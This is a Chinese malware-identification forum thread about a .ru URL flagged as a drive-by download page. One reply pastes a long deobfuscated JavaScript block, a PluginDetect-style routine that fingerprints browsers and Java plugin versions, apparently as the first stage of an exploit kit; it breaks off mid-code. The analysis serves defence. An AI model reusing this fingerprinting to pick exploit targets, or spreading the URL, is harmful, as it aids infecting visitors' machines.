12
返回列表 发新帖
楼主: firefox3
收起左侧

[已鉴定] http://imanraiodl.ru:8080/forum/links/column.php【挂马 by 萌萌】

 关闭 [复制链接]
m220011
发表于 2013-4-11 20:11:38 | 显示全部楼层
蓝核 发表于 2013-4-11 20:04
失效了?今天为啥只有一点点代码了……
  1. pdpd = {
  2.   version : "0.7.9", name : "pdpd", handler : function (c, b, a){
  3.     return function (){
  4.       c(b, a)
  5.     }
  6.   }
  7.   , openTag : "<", isDefined : function (b){
  8.     return typeof b != "undefined"
  9.   }
  10.   , isArray : function (b){
  11.     return (/array/i).test(Object.prototype.toString.call(b))
  12.   }
  13.   , isFunc : function (b){
  14.     return typeof b == "function"
  15.   }
  16.   , isString : function (b){
  17.     return typeof b == "string"
  18.   }
  19.   , isNum : function (b){
  20.     return typeof b == "number"
  21.   }
  22.   , isStrNum : function (b){
  23.     return (typeof b == "string" && (/\d/).test(b))
  24.   }
  25.   , getNumRegx :/ [ \ d][ \ d \ . \ _ ,- ] */, splitNumRegx :/ [ \ . \ _ ,- ] / g, getNum :
  26.   function (b, c){
  27.     var d = this , a = d.isStrNum(b) ? (d.isDefined(c) ? new RegExp(c) : d.getNumRegx).
  28.     exec(b) : null;
  29.     return a ? a[0] : null
  30.   }
  31.   , compareNums : function (h, f, d){
  32.     var e = this , c, b, a, g = parseInt;
  33.     if (e.isStrNum(h) && e.isStrNum(f)){
  34.       if (e.isDefined(d) && d.compareNums){
  35.         return d.compareNums(h, f)
  36.       }
  37.       c = h.split(e.splitNumRegx);
  38.       b = f.split(e.splitNumRegx);
  39.       for (a = 0; a < Math.min(c.length, b.length);
  40.       a ++ ){
  41.         if (g(c[a], 10) > g(b[a], 10)){
  42.           return 1
  43.         }
  44.         if (g(c[a], 10) < g(b[a], 10)){
  45.           return  - 1
  46.         }
  47.       }
  48.     }
  49.     return 0
  50.   }
  51.   , formatNum : function (b, c){
  52.     var d = this , a, e;
  53.     if (!d.isStrNum(b)){
  54.       return null
  55.     }
  56.     if (!d.isNum(c)){
  57.       c = 4
  58.     }
  59.     c--;
  60.     e = b.replace(/\s/g, "").split(d.splitNumRegx).concat(["0", "0", "0", "0"]);
  61.     for (a = 0; a < 4; a ++ ){
  62.       if (/^(0+)(.+)$/.test(e[a])){
  63.         e[a] = RegExp.$2
  64.       }
  65.       if (a > c ||! (/\d/).test(e[a])){
  66.         e[a] = "0"
  67.       }
  68.     }
  69.     return e.slice(0, 4).join(",")
  70.   }
  71.   , $hasMimeType : function (a){
  72.     return function (c){
  73.       if (!a.isIE && c){
  74.         var f, e, b, d = a.isArray(c) ? c : (a.isString(c) ? [c] : []);
  75.         for (b = 0; b < d.length; b ++ ){
  76.           if (a.isString(d[b]) &&/ [ ^\ s] / .test(d[b])){
  77.             f = navigator.mimeTypes[d[b]];
  78.             e = f ? f.enabledPlugin : 0;
  79.             if (e && (e.name || e.description)){
  80.               return f
  81.             }
  82.           }
  83.         }
  84.       }
  85.       return null
  86.     }
  87.   }
  88.   , findNavPlugin : function (l, e, c){
  89.     var j = this , h = new RegExp(l, "i"), d = (!j.isDefined(e) || e) ?/\ d /: 0, k = c ?
  90.     new RegExp(c, "i") : 0, a = navigator.plugins, g = "", f, b, m;
  91.     for (f = 0; f < a.length; f ++ ){
  92.       m = a[f].description || g;
  93.       b = a[f].name || g;
  94.       if ((h.test(m) && (!d || d.test(RegExp.leftContext + RegExp.rightContext))) || (h.
  95.       test(b) && (!d || d.test(RegExp.leftContext + RegExp.rightContext)))){
  96.         if (!k ||! (k.test(m) || k.test(b))){
  97.           return a[f]
  98.         }
  99.       }
  100.     }
  101.     return null
  102.   }
  103.   , getMimeEnabledPlugin : function (k, m, c){
  104.     var e = this , f, b = new RegExp(m, "i"), h = "", g = c ? new RegExp(c, "i") : 0, a, l
  105.     , d, j = e.isString(k) ? [k] : k;
  106.     for (d = 0; d < j.length; d ++ ){
  107.       if ((f = e.hasMimeType(j[d])) && (f = f.enabledPlugin)){
  108.         l = f.description || h;
  109.         a = f.name || h;
  110.         if (b.test(l) || b.test(a)){
  111.           if (!g ||! (g.test(l) || g.test(a))){
  112.             return f
  113.           }
  114.         }
  115.       }
  116.     }
  117.     return 0
  118.   }
  119.   , getPluginFileVersion : function (f, b){
  120.     var h = this , e, d, g, a, c =- 1;
  121.     if (h.OS > 2 ||! f ||! f.version ||! (e = h.getNum(f.version))){
  122.       return b
  123.     }
  124.     if (!b){
  125.       return e
  126.     }
  127.     e = h.formatNum(e);
  128.     b = h.formatNum(b);
  129.     d = b.split(h.splitNumRegx);
  130.     g = e.split(h.splitNumRegx);
  131.     for (a = 0; a < d.length; a ++ ){
  132.       if ( - 1 < c && c < a &&! (d[a] == "0")){
  133.         return b
  134.       }
  135.       if (g[a] != d[a]){
  136.         if (c ==- 1){
  137.           c = a
  138.         }
  139.         if (d[a] != "0"){
  140.           return b
  141.         }
  142.       }
  143.     }
  144.     return e
  145.   }
  146.   , AXO : window.ActiveXObject, getAXO : function (a){
  147.     var f = null, d, b = this , c = {
  148.     }
  149.     ;
  150.     try {
  151.       f = new b.AXO(a)
  152.     }
  153.     catch (d){
  154.     }
  155.     return f
  156.   }
  157.   , convertFuncs : function (f){
  158.     var a, g, d, b =/^ [ \ $][ \ $] /, c = this ;
  159.     for (ain f){
  160.       if (b.test(a)){
  161.         try {
  162.           g = a.slice(2);
  163.           if (g.length > 0 &&! f[g]){
  164.             f[g] = f[a](f);
  165.             deletef[a]
  166.           }
  167.         }
  168.         catch (d){
  169.         }
  170.       }
  171.     }
  172.   }
  173.   , initObj : function (e, b, d){
  174.     var a, c;
  175.     if (e){
  176.       if (e[b[0]] == 1 || d){
  177.         for (a = 0; a < b.length; a = a + 2){
  178.           e[b[a]] = b[a + 1]
  179.         }
  180.       }
  181.       for (ain e){
  182.         c = e[a];
  183.         if (c && c[b[0]] == 1){
  184.           this .initObj(c, b)
  185.         }
  186.       }
  187.     }
  188.   }
  189.   , initScript : function (){
  190.     var d = this , a = navigator, h, i = document, l = a.userAgent || "", j = a.vendor ||
  191.     "", b = a.platform || "", k = a.product || "";
  192.     d.initObj(d, ["$", d]);
  193.     for (hin d.Plugins){
  194.       if (d.Plugins[h]){
  195.         d.initObj(d.Plugins[h], ["$", d, "$", d.Plugins[h]], 1)
  196.       }
  197.     }
  198.     d.convertFuncs(d);
  199.     d.OS = 100;
  200.     if (b){
  201.       var g = ["Win", 1, "Mac", 2, "Linux", 3, "FreeBSD", 4, "iPhone", 21.1, "iPod", 21.2,
  202.       "iPad", 21.3, "Win." + "*CE", 22.1, "Win.*Mobile", 22.2, "Pocket\s*PC", 22.3, "",
  203.       100];
  204.       for (h = g.length - 2; h >= 0; h = h - 2){
  205.         if (g[h] && new RegExp(g[h], "i").test(b)){
  206.           d.OS = g[h + 1];
  207.           break
  208.         }
  209.       }
  210.     }
  211.     ;
  212.     d.head = i.getElementsByTagName("head")[0] || i.getElementsByTagName("body")[0] || i.
  213.     body || null;
  214.     d.isIE = new Function("return/*@cc_on!@*/!1")();
  215.     d.verIE = d.isIE && (/MSIE\s*(\d+\.?\d*)/i).test(l) ? parseFloat(RegExp.$1, 10) : null
  216.     ;
  217.     d.ActiveXEnabled = false;
  218.     if (d.isIE){
  219.       var h, m = ["Msxml2.XMLHTTP", "Msxml2.DOMDocument", "Microsoft.XMLDOM",
  220.       "ShockwaveFlash.ShockwaveFlash", "TDCCtl.TDCCtl", "Shell.UIHelper",
  221.       "Scripting.Dictionary", "wmplayer.ocx"];
  222.       for (h = 0; h < m.length; h ++ ){
  223.         if (d.getAXO(m[h])){
  224.           d.ActiveXEnabled = true;
  225.           break
  226.         }
  227.       }
  228.     }
  229.     ;
  230.     d.isGecko = (/Gecko\s*\/\s*\d/i).test(l) && (/Gecko/i).test(k);
  231.     d.verGecko = d.isGecko ? d.formatNum((/rv\s*\:\s*([\.\,\d]+)/i).test(l) ? RegExp.$1 :
  232.     "0.9") : null;
  233.     d.isChrome = (/Chrome\s*\/\s*(\d[\d\.]*)/i).test(l);
  234.     d.verChrome = d.isChrome ? d.formatNum(RegExp.$1) : null;
  235.     d.isSafari = ((/Apple/i).test(j) || (!j &&! d.isChrome)) && (
  236.     /Safari\s*\/\s*(\d[\d\.]*)/i).test(l);
  237.     d.verSafari = d.isSafari && (/Version\s*\/\s*(\d[\d\.]*)/i).test(l) ? d.formatNum(
  238.     RegExp.$1) : null;
  239.     d.isOpera = (/Opera\s*[\/]?\s*(\d+\.?\d*)/i).test(l);
  240.     d.verOpera = d.isOpera && ((/Version\s*\/\s*(\d+\.?\d*)/i).test(l) || 1) ? parseFloat(
  241.     RegExp.$1, 10) : null;
  242.     d.addWinEvent("load", d.handler(d.runWLfuncs, d))
  243.   }
  244.   , init : function (d){
  245.     var c = this , b, d, a = {
  246.       status :- 3, plugin : 0
  247.     }
  248.     ;
  249.     if (!c.isString(d)){
  250.       return a
  251.     }
  252.     if (d.length == 1){
  253.       c.getVersionDelimiter = d;
  254.       return a
  255.     }
  256.     d = d.toLowerCase().replace(/\s/g, "");
  257.     b = c.Plugins[d];
  258.     if (!b ||! b.getVersion){
  259.       return a
  260.     }
  261.     a.plugin = b;
  262.     if (!c.isDefined(b.installed)){
  263.       b.installed = null;
  264.       b.version = null;
  265.       b.version0 = null;
  266.       b.getVersionDone = null;
  267.       b.pluginName = d
  268.     }
  269.     c.garbage = false;
  270.     if (c.isIE &&! c.ActiveXEnabled && d !== "Ja" + "va"){
  271.       a.status =- 2;
  272.       return a
  273.     }
  274.     a.status = 1;
  275.     return a
  276.   }
  277.   , fPush : function (b, a){
  278.     var c = this ;
  279.     if (c.isArray(a) && (c.isFunc(b) || (c.isArray(b) && c.isFunc(b[0]) && 0 < b.length
  280.     ))){
  281.       a.push(b)
  282.     }
  283.   }
  284.   , callArray : function (b){
  285.     var c = this , a;
  286.     if (c.isArray(b)){
  287.       for (a = 0; a < b.length; a ++ ){
  288.         if (b[a] === null){
  289.           return
  290.         }
  291.         c.call(b[a]);
  292.         b[a] = null
  293.       }
  294.     }
  295.   }
  296.   , call : function (c){
  297.     var b = this , a = b.isArray(c) ? c.length :- 1;
  298.     if (0 < a && b.isFunc(c[0])){
  299.       c[0](b, a > 1 ? c[1] : 0, a > 2 ? c[2] : 0, a > 3 ? c[3] : 0)
  300.     }
  301.     else {
  302.       if (b.isFunc(c)){
  303.         c(b)
  304.       }
  305.     }
  306.   }
  307.   , $isMinVersion : function (a){
  308.     return function (h, g, d, c){
  309.       var e = a.init(h), f, b =- 1, j = {
  310.       }
  311.       ;
  312.       if (e.status < 0){
  313.         return e.status
  314.       }
  315.       f = e.plugin;
  316.       g = a.formatNum(a.isNum(g) ? g.toString() : (a.isStrNum(g) ? a.getNum(g) : "0"));
  317.       if (f.getVersionDone != 1){
  318.         f.getVersion(g, d, c);
  319.         if (f.getVersionDone === null){
  320.           f.getVersionDone = 1
  321.         }
  322.       }
  323.       a.cleanup();
  324.       if (f.installed !== null){
  325.         b = f.installed <= 0.5 ? f.installed : (f.installed == 0.7 ? 1 : (f.version ===
  326.         null         ? 0 : (a.compareNums(f.version, g, f) >= 0 ? 1 :- 0.1)))
  327.       }
  328.       ;
  329.       return b
  330.     }
  331.   }
  332.   , getVersionDelimiter : ",", $getVersion : function (a){
  333.     return function (g, d, c){
  334.       var e = a.init(g), f, b, h = {
  335.       }
  336.       ;
  337.       if (e.status < 0){
  338.         return null
  339.       }
  340.       ;
  341.       f = e.plugin;
  342.       if (f.getVersionDone != 1){
  343.         f.getVersion(null, d, c);
  344.         if (f.getVersionDone === null){
  345.           f.getVersionDone = 1
  346.         }
  347.       }
  348.       a.cleanup();
  349.       b = (f.version || f.version0);
  350.       b = b ? b.replace(a.splitNumRegx, a.getVersionDelimiter) : b;
  351.       return b
  352.     }
  353.   }
  354.   , cleanup : function (){
  355.     var a = this ;
  356.     if (a.garbage && a.isDefined(window.CollectGarbage)){
  357.       window.CollectGarbage()
  358.     }
  359.   }
  360.   , addWinEvent : function (d, c){
  361.     var e = this , a = window, b;
  362.     if (e.isFunc(c)){
  363.       if (a.addEventListener){
  364.         a.addEventListener(d, c, false)
  365.       }
  366.       else {
  367.         if (a.attachEvent){
  368.           a.attachEvent("on" + d, c)
  369.         }
  370.         else {
  371.           b = a["on" + d];
  372.           a["on" + d] = e.winHandler(c, b)
  373.         }
  374.       }
  375.     }
  376.   }
  377.   , winHandler : function (d, c){
  378.     return function (){
  379.       d();
  380.       if (typeof c == "function"){
  381.         c()
  382.       }
  383.     }
  384.   }
  385.   , WLfuncs0 : [], WLfuncs : [], runWLfuncs : function (a){
  386.     var b = {
  387.     }
  388.     ;
  389.     a.winLoaded = true;
  390.     a.callArray(a.WLfuncs0);
  391.     a.callArray(a.WLfuncs);
  392.     if (a.onDoneEmptyDiv){
  393.       a.onDoneEmptyDiv()
  394.     }
  395.   }
  396.   , winLoaded : false, $onWindowLoaded : function (a){
  397.     return function (b){
  398.       if (a.winLoaded){
  399.         a.call(b)
  400.       }
  401.       else {
  402.         a.fPush(b, a.WLfuncs)
  403.       }
  404.     }
  405.   }
  406.   , $onDetectionDone : function (a){
  407.     return function (h, g, c, b){
  408.       var d = a.init(h), k, e, j = {
  409.       }
  410.       ;
  411.       if (d.status ==- 3){
  412.         return  - 1
  413.       }
  414.       e = d.plugin;
  415.       if (!a.isArray(e.funcs)){
  416.         e.funcs = []
  417.       }
  418.       if (e.getVersionDone != 1){
  419.         k = a.isMinVersion ? a.isMinVersion(h, "0", c, b) : a.getVersion(h, c, b)
  420.       }
  421.       if (e.installed !=- 0.5 && e.installed != 0.5){
  422.         a.call(g);
  423.         return 1
  424.       }
  425.       if (e.NOTF){
  426.         a.fPush(g, e.funcs);
  427.         return 0
  428.       }
  429.       return 1
  430.     }
  431.   }
  432.   , div : null, divID : "pdpd", divWidth : 50, pluginSize : 1, emptyDiv : function (){
  433.     var d = this , b, h, c, a, f, g;
  434.     if (d.div && d.div.childNodes){
  435.       for (b = d.div.childNodes.length - 1; b >= 0; b -- ){
  436.         c = d.div.childNodes[b];
  437.         if (c && c.childNodes){
  438.           for (h = c.childNodes.length - 1; h >= 0; h -- ){
  439.             g = c.childNodes[h];
  440.             try {
  441.               c.removeChild(g)
  442.             }
  443.             catch (f){
  444.             }
  445.           }
  446.         }
  447.         if (c){
  448.           try {
  449.             d.div.removeChild(c)
  450.           }
  451.           catch (f){
  452.           }
  453.         }
  454.       }
  455.     }
  456.     if (!d.div){
  457.       a = document.getElementById(d.divID);
  458.       if (a){
  459.         d.div = a
  460.       }
  461.     }
  462.     if (d.div && d.div.parentNode){
  463.       try {
  464.         d.div.parentNode.removeChild(d.div)
  465.       }
  466.       catch (f){
  467.       }
  468.       d.div = null
  469.     }
  470.   }
  471.   , DONEfuncs : [], onDoneEmptyDiv : function (){
  472.     var c = this , a, b;
  473.     if (!c.winLoaded){
  474.       return
  475.     }
  476.     if (c.WLfuncs && c.WLfuncs.length && c.WLfuncs[c.WLfuncs.length - 1] !== null){
  477.       return
  478.     }
  479.     for (ain c){
  480.       b = c[a];
  481.       if (b && b.funcs){
  482.         if (b.OTF == 3){
  483.           return
  484.         }
  485.         if (b.funcs.length && b.funcs[b.funcs.length - 1] !== null){
  486.           return
  487.         }
  488.       }
  489.     }
  490.     for (a = 0; a < c.DONEfuncs.length; a ++ ){
  491.       c.callArray(c.DONEfuncs)
  492.     }
  493.     c.emptyDiv()
  494.   }
  495.   , getWidth : function (c){
  496.     if (c){
  497.       var a = c.scrollWidth || c.offsetWidth, b = this ;
  498.       if (b.isNum(a)){
  499.         return a
  500.       }
  501.     }
  502.     return  - 1
  503.   }
  504.   , getTagStatus : function (m, g, a, b){
  505.     var c = this , f, k = m.span, l = c.getWidth(k), h = a.span, j = c.getWidth(h), d = g.
  506.     span, i = c.getWidth(d);
  507.     if (!k ||! h ||! d ||! c.getDOMobj(m)){
  508.       return  - 2
  509.     }
  510.     if (j < i || 0 > l || 0 > j || 0 > i || i <= c.pluginSize || c.pluginSize < 1){
  511.       return 0
  512.     }
  513.     if (l >= i){
  514.       return  - 1
  515.     }
  516.     try {
  517.       if (l == c.pluginSize && (!c.isIE || c.getDOMobj(m).readyState == 4)){
  518.         if (!m.winLoaded && c.winLoaded){
  519.           return 1
  520.         }
  521.         if (m.winLoaded && c.isNum(b)){
  522.           if (!c.isNum(m.count)){
  523.             m.count = b
  524.           }
  525.           if (b - m.count >= 10){
  526.             return 1
  527.           }
  528.         }
  529.       }
  530.     }
  531.     catch (f){
  532.     }
  533.     return 0
  534.   }
  535.   , getDOMobj : function (g, a){
  536.     var f, d = this , c = g ? g.span : 0, b = c && c.firstChild ? 1 : 0;
  537.     try {
  538.       if (b && a){
  539.         d.div.focus()
  540.       }
  541.     }
  542.     catch (f){
  543.     }
  544.     return b ? c.firstChild : null
  545.   }
  546.   , setStyle : function (b, g){
  547.     var f = b.style, a, d, c = this ;
  548.     if (f && g){
  549.       for (a = 0; a < g.length; a = a + 2){
  550.         try {
  551.           f[g[a]] = g[a + 1]
  552.         }
  553.         catch (d){
  554.         }
  555.       }
  556.     }
  557.   }
  558.   , insertDivInBody : function (i, g){
  559.     var f, c = this , h = "pd33993399", b = null, d = g ? window.top.document : window.
  560.     document, a = d.getElementsByTagName("body")[0] || d.body;
  561.     if (!a){
  562.       try {
  563.         d.write('<div id="' + h + '">.' + c.openTag + "/div>");
  564.         b = d.getElementById(h)
  565.       }
  566.       catch (f){
  567.       }
  568.     }
  569.     a = d.getElementsByTagName("body")[0] || d.body;
  570.     if (a){
  571.       a.insertBefore(i, a.firstChild);
  572.       if (b){
  573.         a.removeChild(b)
  574.       }
  575.     }
  576.   }
  577.   , insertHTML : function (f, b, g, a, k){
  578.     var l, m = document, j = this , p, o = m.createElement("span"), n, i;
  579.     var c = ["outlineStyle", "none", "borderStyle", "none", "padding", "0px", "margin",
  580.     "0px", "visibility", "visible"];
  581.     var h =
  582.     "outline-style:none;border-style:none;padding:0px;margin:0px;visibility:visible;";
  583.     if (!j.isDefined(a)){
  584.       a = ""
  585.     }
  586.     if (j.isString(f) && (/[^\s]/).test(f)){
  587.       f = f.toLowerCase().replace(/\s/g, "");
  588.       p = j.openTag + f + ' width="' + j.pluginSize + '" height="' + j.pluginSize + '" ';
  589.       p += 'style="' + h + 'display:inline;" ';
  590.       for (n = 0; n < b.length; n = n + 2){
  591.         if (/[^\s]/.test(b[n + 1])){
  592.           p += b[n] + '="' + b[n + 1] + '" '
  593.         }
  594.       }
  595.       p += ">";
  596.       for (n = 0; n < g.length; n = n + 2){
  597.         if (/[^\s]/.test(g[n + 1])){
  598.           p += j.openTag + 'param name="' + g[n] + '" value="' + g[n + 1] + '" />'
  599.         }
  600.       }
  601.       p += a + j.openTag + "/" + f + ">"
  602.     }
  603.     else {
  604.       p = a
  605.     }
  606.     if (!j.div){
  607.       i = m.getElementById(j.divID);
  608.       if (i){
  609.         j.div = i
  610.       }
  611.       else {
  612.         j.div = m.createElement("div");
  613.         j.div.id = j.divID
  614.       }
  615.       j.setStyle(j.div, c.concat(["width", j.divWidth + "px", "height", (j.pluginSize + 3)
  616.        + "px", "fontSize", (j.pluginSize + 3) + "px", "lineHeight", (j.pluginSize + 3) +
  617.       "px", "verticalAlign", "baseline", "display", "block"]));
  618.       if (!i){
  619.         j.setStyle(j.div, ["position", "absolute", "right", "0px", "top", "0px"]);
  620.         j.insertDivInBody(j.div)
  621.       }
  622.     }
  623.     if (j.div && j.div.parentNode){
  624.       j.setStyle(o, c.concat(["fontSize", (j.pluginSize + 3) + "px", "lineHeight", (j.
  625.       pluginSize + 3) + "px", "verticalAlign", "baseline", "display", "inline"]));
  626.       try {
  627.         o.innerHTML = p
  628.       }
  629.       catch (l){
  630.       }
  631.       ;
  632.       try {
  633.         j.div.appendChild(o)
  634.       }
  635.       catch (l){
  636.       }
  637.       ;
  638.       return {
  639.         span : o, winLoaded : j.winLoaded, tagName : f, outerHTML : p
  640.       }
  641.     }
  642.     return {
  643.       span : null, winLoaded : j.winLoaded, tagName : "", outerHTML : p
  644.     }
  645.   }
  646.   , file : {
  647.     $ : 1, any : "fileStorageAny999", valid : "fileStorageValid999", save : function (d, f
  648.     , c){
  649.       var b = this , e = b.$, a;
  650.       if (d && e.isDefined(c)){
  651.         if (!d[b.any]){
  652.           d[b.any] = []
  653.         }
  654.         if (!d[b.valid]){
  655.           d[b.valid] = []
  656.         }
  657.         d[b.any].push(c);
  658.         a = b.split(f, c);
  659.         if (a){
  660.           d[b.valid].push(a)
  661.         }
  662.       }
  663.     }
  664.     , getValidLength : function (a){
  665.       return a && a[this .valid] ? a[this .valid].length : 0
  666.     }
  667.     , getAnyLength : function (a){
  668.       return a && a[this .any] ? a[this .any].length : 0
  669.     }
  670.     , getValid : function (c, a){
  671.       var b = this ;
  672.       return c && c[b.valid] ? b.get(c[b.valid], a) : null
  673.     }
  674.     , getAny : function (c, a){
  675.       var b = this ;
  676.       return c && c[b.any] ? b.get(c[b.any], a) : null
  677.     }
  678.     , get : function (d, a){
  679.       var c = d.length - 1, b = this .$.isNum(a) ? a : c;
  680.       return (0 > b || b > c) ? null : d[b]
  681.     }
  682.     , split : function (g, c){
  683.       var b = this , e = b.$, f = null, a, d;
  684.       g = g ? g.replace(".", "\.") : "";
  685.       d = new RegExp("^(.*[^\/])(" + g + "\s*)$");
  686.       if (e.isString(c) && d.test(c)){
  687.         a = (RegExp.$1).split("/");
  688.         f = {
  689.           name : a[a.length - 1], ext : RegExp.$2, full : c
  690.         }
  691.         ;
  692.         a[a.length - 1] = "";
  693.         f.path = a.join("/")
  694.       }
  695.       return f
  696.     }
  697.     , z : 0
  698.   }
  699.   , Plugins : {
  700.     java : {
  701.       mimeType : ["application/x-java-applet", "application/x-java-vm",
  702.       "application/x-java-bean"], classID : "clsid:8AD9C840-044E-11D1-B3E9-00805F499D93",
  703.       navigator : {
  704.         a : window.navigator.javaEnabled(), javaEnabled : function (){
  705.           return this .a
  706.         }
  707.         , mimeObj : 0, pluginObj : 0
  708.       }
  709.       , OTF : null, minIEver : 7, debug : 0, debugEnable : function (){
  710.         var a = this , b = a.$;
  711.         a.debug = 1
  712.       }
  713.       , isDisabled : {
  714.         $ : 1, DTK : function (){
  715.           var a = this , c = a.$, b = a.$;
  716.           if ((c.isGecko && c.compareNums(c.verGecko, c.formatNum("1.6")) <= 0) || (c.
  717.           isSafari && c.OS == 1 && (!c.verSafari || 0 > c.compareNums(c.verSafari,
  718.           "5,1,0,0"))) || c.isChrome || (c.isIE &&! c.ActiveXEnabled)){
  719.             return 1
  720.           }
  721.           return 0
  722.         }
  723.         , AXO : function (){
  724.           var a = this , c = a.$, b = a.$;
  725.           return (!c.isIE ||! c.ActiveXEnabled || (!b.debug && b.DTK.query().status !== 0
  726.           ))
  727.         }
  728.         , navMime : function (){
  729.           var b = this , d = b.$, c = b.$, a = c.navigator;
  730.           if (d.isIE ||! a.mimeObj ||! a.pluginObj){
  731.             return 1
  732.           }
  733.           return 0
  734.         }
  735.         , navPlugin : function (){
  736.           var b = this , d = b.$, c = b.$, a = c.navigator;
  737.           if (d.isIE ||! a.mimeObj ||! a.pluginObj){
  738.             return 1
  739.           }
  740.           return 0
  741.         }
  742.         , windowDotJava : function (){
  743.           var a = this , c = a.$, b = a.$;
  744.           if (!window.java){
  745.             return 1
  746.           }
  747.           if (c.OS == 2 && c.verOpera > 8 && c.verOpera && c.verOpera < (9.3 - 0.1)){
  748.             return 1
  749.           }
  750.           return 0
  751.         }
  752.         , allApplets : function (){
  753.           var b = this , d = b.$, c = b.$, a = c.navigator;
  754.           if (d.OS >= 20){
  755.             return 0
  756.           }
  757.           if (d.verOpera && d.verOpera < 11 &&! a.javaEnabled() &&! c.lang.System.
  758.           getProperty()[0]){
  759.             return 1
  760.           }
  761.           if ((d.verGecko && 0 > d.compareNums(d.verGecko, d.formatNum("2"))) &&! a.
  762.           mimeObj &&! c.lang.System.getProperty()[0]){
  763.             return 1
  764.           }
  765.           return 0
  766.         }
  767.         , AppletTag : function (){
  768.           var b = this , d = b.$, c = b.$, a = c.navigator;
  769.           return d.isIE ?! a.javaEnabled() : 0
  770.         }
  771.         , ObjectTag : function (){
  772.           var a = this , c = a.$, b = a.$;
  773.           return c.isIE ?! c.ActiveXEnabled : 0
  774.         }
  775.         , z : 0
  776.       }
  777.       , getVerifyTagsDefault : function (){
  778.         var a = this , c = a.$, b = [1, 0, 1];
  779.         if (c.OS >= 20){
  780.           return b
  781.         }
  782.         if ((c.isIE && (c.verIE < 9 ||! c.ActiveXEnabled)) || (c.verGecko && 0 > c.
  783.         compareNums(c.verGecko, c.formatNum("2"))) || (c.isSafari && (!c.verSafari || 0 >
  784.         c.compareNums(c.verSafari, c.formatNum("4")))) || (c.verOpera && c.verOpera < 10
  785.         )){
  786.           b = [1, 1, 1]
  787.         }
  788.         return b
  789.       }
  790.       , getVersion : function (j, g, i){
  791.         var b = this , d = b.$, e, a = b.applet, h = b.verify, k = b.navigator, f = null,
  792.         l = null, c = null;
  793.         if (b.getVersionDone === null){
  794.           b.OTF = 0;
  795.           k.mimeObj = d.hasMimeType(b.mimeType);
  796.           if (k.mimeObj){
  797.             k.pluginObj = k.mimeObj.enabledPlugin
  798.           }
  799.           if (h){
  800.             h.begin()
  801.           }
  802.         }
  803.         a.setVerifyTagsArray(i);
  804.         d.file.save(b, ".jar", g);
  805.         if (b.getVersionDone === 0){
  806.           if (a.should_Insert_Query_Any()){
  807.             e = a.insert_Query_Any();
  808.             b.setPluginStatus(e[0], e[1], f)
  809.           }
  810.           return
  811.         }
  812.         if ((!f || b.debug) && b.DTK.query().version){
  813.           f = b.DTK.version
  814.         }
  815.         if ((!f || b.debug) && b.navMime.query().version){
  816.           f = b.navMime.version
  817.         }
  818.         if ((!f || b.debug) && b.navPlugin.query().version){
  819.           f = b.navPlugin.version
  820.         }
  821.         if ((!f || b.debug) && b.AXO.query().version){
  822.           f = b.AXO.version
  823.         }
  824.         if (b.nonAppletDetectionOk(f)){
  825.           c = f
  826.         }
  827.         if (!c || b.debug || a.VerifyTagsHas(2.2) || a.VerifyTagsHas(2.5)){
  828.           e = b.lang.System.getProperty();
  829.           if (e[0]){
  830.             f = e[0];
  831.             c = e[0];
  832.             l = e[1]
  833.           }
  834.         }
  835.         b.setPluginStatus(c, l, f);
  836.         if (a.should_Insert_Query_Any()){
  837.           e = a.insert_Query_Any();
  838.           if (e[0]){
  839.             c = e[0];
  840.             l = e[1]
  841.           }
  842.         }
  843.         b.setPluginStatus(c, l, f)
  844.       }
  845.       , nonAppletDetectionOk : function (b){
  846.         var d = this , e = d.$, a = d.navigator, c = 1;
  847.         if (!b || (!a.javaEnabled() &&! d.lang.System.getPropertyHas(b)) || (!e.isIE &&! a
  848.         .mimeObj &&! d.lang.System.getPropertyHas(b)) || (e.isIE &&! e.ActiveXEnabled)){
  849.           c = 0
  850.         }
  851.         else {
  852.           if (e.OS >= 20){
  853.           }
  854.           else {
  855.             if (d.info && 0 > d.info.getPlugin2Status() && d.info.BrowserRequiresPlugin2
  856.             ()){
  857.               c = 0
  858.             }
  859.           }
  860.         }
  861.         return c
  862.       }
  863.       , setPluginStatus : function (d, f, a){
  864.         var c = this , e = c.$, b;
  865.         a = a || c.version0;
  866.         if (0 < c.OTF){
  867.           d = d || c.lang.System.getProperty()[0]
  868.         }
  869.         if (c.OTF < 3){
  870.           b = d ? 1 : (a ?- 0.2 :- 1);
  871.           if (c.installed === null || b > c.installed){
  872.             c.installed = b
  873.           }
  874.         }
  875.         if (c.OTF == 2 && c.NOTF &&! c.applet.getResult()[0] &&! c.lang.System.getProperty
  876.         ()[0]){
  877.           c.installed = a ?- 0.2 :- 1
  878.         }
  879.         ;
  880.         if (c.OTF == 3 && c.installed !=- 0.5 && c.installed != 0.5){
  881.           c.installed = (c.NOTF.isJavaActive(1) == 1 || c.lang.System.getProperty()[0]) ?
  882.           0.5 :- 0.5
  883.         }
  884.         if (c.OTF == 4 && (c.installed ==- 0.5 || c.installed == 0.5)){
  885.           if (d){
  886.             c.installed = 1
  887.           }
  888.           else {
  889.             if (c.NOTF.isJavaActive(1) == 1){
  890.               if (a){
  891.                 c.installed = 1;
  892.                 d = a
  893.               }
  894.               else {
  895.                 c.installed = 0
  896.               }
  897.             }
  898.             else {
  899.               if (a){
  900.                 c.installed =- 0.2
  901.               }
  902.               else {
  903.                 c.installed =- 1
  904.               }
  905.             }
  906.           }
  907.         }
  908.         ;
  909.         if (a){
  910.           c.version0 = e.formatNum(e.getNum(a))
  911.         }
  912.         if (d){
  913.           c.version = e.formatNum(e.getNum(d))
  914.         }
  915.         if (f && e.isString(f)){
  916.           c.vendor = f
  917.         }
  918.         if (!c.vendor){
  919.           c.vendor = ""
  920.         }
  921.         if (c.verify && c.verify.isEnabled()){
  922.           c.getVersionDone = 0
  923.         }
  924.         else {
  925.           if (c.getVersionDone != 1){
  926.             if (c.OTF < 2){
  927.               c.getVersionDone = 0
  928.             }
  929.             else {
  930.               c.getVersionDone = c.applet.can_Insert_Query_Any() ? 0 : 1
  931.             }
  932.           }
  933.         }
  934.       }
  935.       , DTK : {
  936.         $ : 1, hasRun : 0, status : null, VERSIONS : [], version : "", HTML : null,
  937.         Plugin2Status : null, classID : ["clsid:CAFEEFAC-DEC7-0000-0001-ABCDEFFEDCBA",
  938.         "clsid:CAFEEFAC-DEC7-0000-0000-ABCDEFFEDCBA"], mimeType : [
  939.         "application/java-deployment-toolkit",
  940.         "application/npruntime-scriptable-plugin;DeploymentToolkit"], disabled : function
  941.         (){
  942.           return this .$.isDisabled.DTK()
  943.         }
  944.         , query : function (){
  945.           var k = this , g = k.$, d = k.$, j, l, h, m = {
  946.           }
